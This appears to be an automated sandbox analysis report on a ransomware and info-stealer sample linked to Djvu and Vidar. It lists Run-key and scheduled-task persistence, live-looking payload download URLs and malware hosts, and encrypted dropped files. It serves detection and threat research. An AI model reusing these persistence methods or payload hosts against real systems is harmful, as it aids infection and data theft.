Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lzShU2RYJa.exe renamed because original name is a hash value
Original Sample Name:	106c2cfb1162fc8fe3cef0958474f1c3.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@44/1403@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 72 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: lzShU2RYJa.exe

Simulations

Behavior and APIs

Time	Type	Description
17:51:52	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe s>--Task
17:51:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
17:52:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
17:52:18	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
18:51:59	API Interceptor	1x Sleep call for process: lzShU2RYJa.exe modified
18:52:11	API Interceptor	1x Sleep call for process: build2.exe modified
18:53:01	API Interceptor	7040063x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
211.171.233.129	IzXkxsTrEt.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	sdfjhuz.com/dl/build2.exe
	SKHOtnHl7J.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	trmpc.com/check/index.php
	p2xoB50aKi.exe	Get hash	malicious	SmokeLoader, Vidar	Browse	sjyey.com/tmp/index.php
	RnnWoAEP9mUhOXN_9mNdOzaP.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	qpPYm1rHOS.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	8TmTmPo08O.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	sjyey.com/tmp/index.php
	38QTCIw4QJ.exe	Get hash	malicious	LummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRAT	Browse	habrafa.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	Gwrx3K7sz8.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php?scr=1
	e0a0I8h7aP.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	gxutc2c.com/tmp/index.php
	4ac7d8a9a14447f7e60f14699384b340ef2564e6fad91727a0f3f2706c726b03_dump.exe	Get hash	malicious	SmokeLoader, XWorm	Browse	gxutc2c.com/tmp/index.php
95.217.9.149	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	96.17.209.196
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	Vidar	Browse	96.17.209.196
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	23.65.44.84
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	184.85.65.125
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
cajgtus.com	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	95.86.30.3
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	211.119.84.111
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	186.145.236.18
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	62.150.232.50
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	63.143.98.185
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.163.142.13
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	200.45.93.45
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
sdfjhuz.com	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	175.119.10.231
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	201.103.73.225
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.133
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.119.10.231
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
api.2ip.ua	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LGDACOMLGDACOMCorporationKR	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	211.119.84.111
	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	61.33.74.18
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.133
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	211.168.166.45
	1mHUcsxKG6.elf	Get hash	malicious	Mirai	Browse	123.143.169.235
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	61.248.201.89
HETZNER-ASDE	https://btcpike.top	Get hash	malicious	Unknown	Browse	213.239.209.209
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.246.168
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
CLOUDFLARENETUS	https://runrun.it/share/form/0SRuaDvcQOCgwT9F	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://u43997916.ct.sendgrid.net/ls/click?upn=u001.8-2Bu6iTAOb-2FcpkRnZlUIEsFX12VujJLkoH2yCHZQsWjupenpr7B6ykMomuFAeFzXVNSonRr-2FISOMHDDlMnH1PDQ-3D-3Dwo0m_siaPD1JbayxF6TPhGtuaBQC3EhYPEfBWE2CMcyur3sLmOuN6D0k7B9uB2d6lG3eyRcBDD5pIxMQgneoQJNokqAOvFY6J9Uhi-2F6PSDYFQgIMLXof1fdbPFYjo0m-2FpFL9TPBTZH5ISgAZIHA-2FCPZVhL9H6tn4iThoVMhFZMrkPXsKcqiolaF6RpZbFxs8-2FULT4Cp2J1vOfk5-2ByygSilfGdRwfCb868apzApUM5bXVvPhI-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://ncdocvault.net	Get hash	malicious	Unknown	Browse	172.67.147.238
	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.65.24
	https://app.frame.io/presentations/da0e116a-d15f-430f-8c37-0aa7d783720f?component_clicked=digest_call_to_action&email_id=8abc710c-c18f-47f5-a884-e927cb8dcfaa&email_type=pending-reviewer-invite	Get hash	malicious	HTMLPhisher	Browse	104.21.44.137
	https://btcpike.top	Get hash	malicious	Unknown	Browse	104.18.28.104
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://www.maultalk.com/url.php?to=https://www.serserijeans.com/vkrWO3usk17alli2Psx0qFe5aglFe5dy9WO3rg	Get hash	malicious	Unknown	Browse	172.67.129.156
	https://midissant.net	Get hash	malicious	Unknown	Browse	104.21.90.87
UninetSAdeCVMX	uqGHhft2DO.elf	Get hash	malicious	Mirai	Browse	189.232.71.34
	5RiFmXTOMp.elf	Get hash	malicious	Mirai	Browse	187.216.31.5
	Hs97Nxxy5u.elf	Get hash	malicious	Mirai	Browse	189.138.183.9
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	201.103.73.225
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.163.142.13
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	189.190.10.16
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	XV9q6mY4DI.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220 96.17.209.196
	n8XBpFdVFU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	Swift Payment.bat	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 96.17.209.196
	file.exe	Get hash	malicious	Vidar	Browse	172.67.139.220 96.17.209.196
	mU2p71KMss.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220 96.17.209.196
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.139.220 96.17.209.196
	SecuriteInfo.com.Program.Unwanted.5215.4772.1835.exe	Get hash	malicious	PureLog Stealer	Browse	172.67.139.220 96.17.209.196
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 96.17.209.196
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.139.220 96.17.209.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	R5391762lf.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	Z4CYGTBlj7.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	sIQywRNC5M.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	qJKiVKZdFk.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIJKKEHJDHJKFIECAAKFIJJK

Download File

Process:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAA

Download File

Process:	C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.737322779818595
Encrypted:	false
SSDEEP:	3:QbQz39BKQfovn:QMzjhAvn
MD5:	628D2B59499A5C725456ABFB091255B1
SHA1:	587E99EEEA9E9441009D42A42780F655E7BF0499
SHA-256:	AE7F765C77274D05D43E56CA611E2ABF56DE19FD21C3F4CA4A8C79F8772F7AE7
SHA-512:	F9679F1ECB8C0153EEC28F4FA4E9E67F9CF212E138A25CBBE3EBB86DF4E3A46C5151535F7E0254DD0A3DB03F0BEEA2B2B19397FEC7191272679A0B87DB429ECD
Malicious:	false
Preview:	itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.264235729865913
Encrypted:	false
SSDEEP:	6:KWofUGTpqTPIxpUHoeE5ilDjC3JCYwpJb03nkNEGN33MzjhPcii96Z:NoMGN4I8H8D3JCYcBNh3ejVcii9a
MD5:	9629BCEA30D50362EF66C12B2365BA54
SHA1:	D8B7FB7E488C77B1BED645136C12B6578236DE42
SHA-256:	CF3ABE7A5467ADC2393720B932703C4B3682D1A162BC024EC80C9CCE90908A3B
SHA-512:	29B4AC9C414A8849AB3EC2209DB6B8B93146B457BCE83B705C03E9C250CA256595B6DE9FFD2F58F82B8C8AC551EF81B860818F24E69A02DB373320B85DEEA543
Malicious:	false
Preview:	insec..`Dz.<.\'....s.~.b.~.h..e2..Y..8.K@o....}...z.8.....bB...{P.'.c...~N.I......)......Yk......e<.U.b^.....9gY...5x.>.+_..!:.qt.....c.^%..w.g......'.y5r..)..\|S.3.E...$.`t(....Ob).<..9....._...Tl...... ..._aKl.FO....F..P.c..z...T............1.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.264235729865913
Encrypted:	false
SSDEEP:	6:KWofUGTpqTPIxpUHoeE5ilDjC3JCYwpJb03nkNEGN33MzjhPcii96Z:NoMGN4I8H8D3JCYcBNh3ejVcii9a
MD5:	9629BCEA30D50362EF66C12B2365BA54
SHA1:	D8B7FB7E488C77B1BED645136C12B6578236DE42
SHA-256:	CF3ABE7A5467ADC2393720B932703C4B3682D1A162BC024EC80C9CCE90908A3B
SHA-512:	29B4AC9C414A8849AB3EC2209DB6B8B93146B457BCE83B705C03E9C250CA256595B6DE9FFD2F58F82B8C8AC551EF81B860818F24E69A02DB373320B85DEEA543
Malicious:	false
Preview:	insec..`Dz.<.\'....s.~.b.~.h..e2..Y..8.K@o....}...z.8.....bB...{P.'.c...~N.I......)......Yk......e<.U.b^.....9gY...5x.>.+_..!:.qt.....c.^%..w.g......'.y5r..)..\|S.3.E...$.`t(....Ob).<..9....._...Tl...... ..._aKl.FO....F..P.c..z...T............1.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.6371453371945375
Encrypted:	false
SSDEEP:	12:kW1bebmZaaiDVoiCv7GTTONYfi4AFTlPI23oIAS49S32b2ajVcii9a:/ReXdZoNv7aOQiNFJwSAKGb2wVbD
MD5:	B6EF5E2AA7F3FA21D9878AE8957F4421
SHA1:	5BFF4916C29E8440D4960182E7CDF52DCD7DC406
SHA-256:	981AD7B3ED498591DD2D60A2EC4B218F67BBB14D860BF686840B7C4E8B897E06
SHA-512:	C958026A3857B20568237D62D7779FE219F0353F3FF1C663BB30517B300AC13E18B9D43440E492668BE2D6BF77D6C9B1E0032A589EDD8E7DFABAA320A4BBF7EB
Malicious:	false
Preview:	2023/`....!.)....r...<..j8>..^.o.V.g.7.S........0M..P.....(..A<..._........JcIg...J.b?QyV...-O`.......b..{.t...MA..R5.b...s..f..(.&)....3m#..0.,......G..?%..J^b..;.v.U./X"..S.......g..s.tA../b....KoZ..#+U.H<.+..U...f.4....s._._.{%.Ti...B...(...1E.,....e_..u).1Qf.G.........Q...f...H/.......<...Bi....p._....8....(D.._Os..!..b...E1O9.34y^.0...y.\|U-....k....+.o...l...9%.;../V....[T..W.v.._........a....&C.D......d......Q....uA......M.%.....P.....z$.e...+&.......<..=.....]...c..Te...V..f.j..............<.e..Bw$vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.6371453371945375
Encrypted:	false
SSDEEP:	12:kW1bebmZaaiDVoiCv7GTTONYfi4AFTlPI23oIAS49S32b2ajVcii9a:/ReXdZoNv7aOQiNFJwSAKGb2wVbD
MD5:	B6EF5E2AA7F3FA21D9878AE8957F4421
SHA1:	5BFF4916C29E8440D4960182E7CDF52DCD7DC406
SHA-256:	981AD7B3ED498591DD2D60A2EC4B218F67BBB14D860BF686840B7C4E8B897E06
SHA-512:	C958026A3857B20568237D62D7779FE219F0353F3FF1C663BB30517B300AC13E18B9D43440E492668BE2D6BF77D6C9B1E0032A589EDD8E7DFABAA320A4BBF7EB
Malicious:	false
Preview:	2023/`....!.)....r...<..j8>..^.o.V.g.7.S........0M..P.....(..A<..._........JcIg...J.b?QyV...-O`.......b..{.t...MA..R5.b...s..f..(.&)....3m#..0.,......G..?%..J^b..;.v.U./X"..S.......g..s.tA../b....KoZ..#+U.H<.+..U...f.4....s._._.{%.Ti...B...(...1E.,....e_..u).1Qf.G.........Q...f...H/.......<...Bi....p._....8....(D.._Os..!..b...E1O9.34y^.0...y.\|U-....k....+.o...l...9%.;../V....[T..W.v.._........a....&C.D......d......Q....uA......M.%.....P.....z$.e...+&.......<..=.....]...c..Te...V..f.j..............<.e..Bw$vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.67943342626801
Encrypted:	false
